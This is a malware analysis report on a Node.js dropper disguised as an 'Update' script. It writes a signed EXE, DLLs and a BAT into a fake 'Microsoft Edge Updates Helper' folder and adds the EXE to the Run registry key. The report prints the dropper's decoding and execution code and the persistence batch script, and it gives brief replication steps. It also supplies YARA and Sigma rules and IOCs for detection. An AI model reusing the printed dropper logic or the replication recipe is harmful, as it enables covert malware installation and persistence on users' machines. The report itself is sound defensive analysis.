typeanalysisfamilyletsdiskusscomconfidencehighcreated2026-08-23updated2026-08-23malware-familyloaderscriptnodejsobfuscationevasionpersistence
SHA-256: bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982

letsdiskusscom: bf5c69a5 — Update_1.js, twenty-second confirmed sibling

Executive Summary

Twenty-second confirmed sibling of the letsdiskusscom Node.js dropper cluster. Filename Update_1.js suggests early build-counter wave (counter value 1). Numbered-suffix poem vocabulary (gentle1, hush2, etc.) persists. Same signed Revo EXE and two vcruntime DLLs as all twenty-one prior siblings; introduces a twenty-second distinct msvcp140.dll morph (1,124,352 bytes). Static-only (CAPE skipped — JS source not a supported binary class).

What It Is

  • Filename: Update_1.js ^[metadata.json]
  • Size: 9,265,120 bytes (9.3 MB) ^[file.txt]
  • Format: JavaScript source, ASCII text, CRLF line terminators, 60 lines with extremely long lines (up to ~63,365 chars) ^[file.txt] ^[exiftool.json]
  • Family: letsdiskusscom — high-confidence cluster sibling ^[entities/letsdiskusscom.md]
  • Staging directory: %ProgramData%\Microsoft Edge Updates Helper M9vpjZOcWDna ^[strings.txt:5]

How It Works

The carrier is a Node.js script that decodes five embedded payloads from a 256-word English poem lookup-table using numbered-suffix vocabulary obfuscation. See poem-word-list-steganography for the full technique breakdown.

Decoding function (lines 18-25): ^[strings.txt:18-25]

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

Word list: 256 words, 256 unique. Numbered suffixes (gentle1 through fail164) appended after the first complete poem cycle to defeat naive deduplication. ^[strings.txt:6]

Decoded payloads

File Size SHA-256 Notes
Microsoft Edge Updates Helper.exe 52,400 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f Same signed RevoSrp.exe as all 21 prior siblings
msvcp140.dll 1,124,352 179e8ba0832cb1ce1509990cbbd37dbe0c8d546bd321bd48c3e7b1ed5c127143 22nd distinct morph in cluster; MSVC 14.x build from d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\msvcp140.amd64.pdb
vcruntime140.dll 101,672 ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 Same as all prior siblings
vcruntime140_1.dll 44,328 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 Same as all prior siblings
M9vpjZOcWDna.bat 440 dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 Same BAT persistence script as all prior siblings

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper M9vpjZOcWDna`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "M9vpjZOcWDna.bat");
const dll1Path = path.join(folder, "msvcp140.dll");
const dll2Path = path.join(folder, "vcruntime140.dll");
const dll3Path = path.join(folder, "vcruntime140_1.dll");
const dll4Path = path.join(folder, "M9vpjZOcWDna.bat")
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

^[strings.txt:12-41]

The script creates the staging directory, writes all five files, then spawns the BAT with the EXE path as an argument, and immediately spawns the EXE directly. The BAT adds the EXE to the HKCU\Run registry key for persistence. ^[strings.txt:11]

Persistence BAT (decoded)

@echo off
if "%~1"=="" (
    echo Usage: %~nx0 "file_path"
    pause
    exit /b 1
if not exist "%~1" (
    echo Error: file "%~1" not found
    pause
    exit /b 1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
    echo File "%~1" successfully added to startup
) else (
    echo Error adding to startup

^[decoded BAT from JS source]

Decompiled Behavior

Not applicable — this is a plaintext Node.js script, not a compiled PE. No Ghidra or radare2 decompilation required. The entire logic is visible in strings.txt (which is the script source itself). ^[file.txt]

C2 Infrastructure

No C2 observed. The dropper is self-contained; the malicious act is the deceptive delivery, silent execution, and registry persistence of a signed binary masquerading as a browser update helper. No network imports or hardcoded URLs in the carrier. ^[strings.txt]

Interesting Tidbits

  • Filename pattern: Update_1.js is the lowest build-counter value observed in the cluster (previous values: _3, _5, _11, _12, _13, _14, _15, _16, _17, _18, _19, _22, _25, and plain Update.js). Suggests this sample is from an early build wave or a fresh builder reset. ^[prior sibling filenames from entities/letsdiskusscom.md]
  • Duplicate dll4Path: The script redundantly assigns dll4Path = path.join(folder, "M9vpjZOcWDna.bat") after already defining autorunPath to the same value. This is a builder template artefact — the variable is never used. ^[strings.txt:17]
  • No javascript-obfuscator: Unlike the first sibling (9dc2cded), this sample uses only the poem-word-list steganography with no additional obfuscation layer. The builder has converged on a single encoding scheme. ^[entities/letsdiskusscom.md]
  • 22nd msvcp140 morph: The msvcp140.dll is 1,124,352 bytes (SHA-256 179e8ba0...), larger than the 21st morph (077c6dc7..., 1,012,224 bytes) but smaller than the 17th morph (012212f9..., 1,248,256 bytes). The builder is rotating through every available MSVC redistributable version rather than reusing one.

How To Mess With It (Homelab Replication)

  1. Encode any PE using the 256-word poem lookup-table (see poem-word-list-steganography reproduction section).
  2. Wrap it in a Node.js script using the writePositionsToFile pattern above.
  3. Add a BAT that calls reg add HKCU\...\Run.
  4. Verify: the resulting .js should be ~9 MB, contain ~60 lines, and decode back to the original PE byte-for-byte.

Deployable Signatures

YARA rule

rule Letsdiskusscom_NodeJS_Poem_Stego {
    meta:
        description = "Node.js poem-word-list steganography dropper (letsdiskusscom cluster)"
        author = "PacketPursuit"
        reference = "/intel/analyses/bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982.html"
    strings:
        $a = "const wlist = \"gentle hush that wraps the midnight" ascii
        $b = "function writePositionsToFile(listA, listB, outPath)" ascii
        $c = "Microsoft Edge Updates Helper" ascii
        $d = "fs.writeFileSync(outPath, buffer);" ascii
        $e = "process.env.PROGRAMDATA" ascii
    condition:
        filesize > 1MB and
        3 of them
}

Sigma rule

title: Letsdiskusscom Node.js Dropper Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains|all:
      - 'node.exe'
      - 'Update_'
      - '.js'
  selection2:
    CommandLine|contains:
      - 'Microsoft Edge Updates Helper'
      - 'M9vpjZOcWDna'
  condition: selection or selection2
falsepositives:
  - Unlikely
level: high

IOC list

Indicator Value Type
SHA-256 (carrier) bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982 File
SHA-256 (embedded EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f File
SHA-256 (embedded BAT) dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 File
SHA-256 (msvcp140.dll) 179e8ba0832cb1ce1509990cbbd37dbe0c8d546bd321bd48c3e7b1ed5c127143 File
Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper Persistence
Staging path %ProgramData%\Microsoft Edge Updates Helper * Directory

Behavioral fingerprint

A Node.js script (Update_*.js) runs under node.exe, creates a %ProgramData%\Microsoft Edge Updates Helper <random> directory, writes five files (EXE, three DLLs, BAT), spawns the BAT (which adds the EXE to HKCU Run), then spawns the EXE directly. The carrier script is 7–10 MB and contains extremely long lines of space-separated English words. No network activity from the carrier.

Detection Signatures

capa / static ATT&CK Technique
fs.writeFileSync + child_process.spawn T1059.007 JavaScript execution
Poem-word-list encoding T1027.002 Obfuscated Files or Info
Microsoft Edge Updates Helper directory T1036.005 Masquerading
reg add HKCU\...\Run via BAT T1547.001 Registry Run Keys
child_process.spawn(..., { shell: true }) T1543.003 Create/modify system process

References

Provenance

  • Carrier: bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982.bin (MalwareBazaar via OpenCTI)
  • Decoded payloads extracted from JS source using Python re + indexOf mapping (same algorithm as runtime decoder)
  • Tool versions: file 5.45, exiftool 12.76, Python 3.12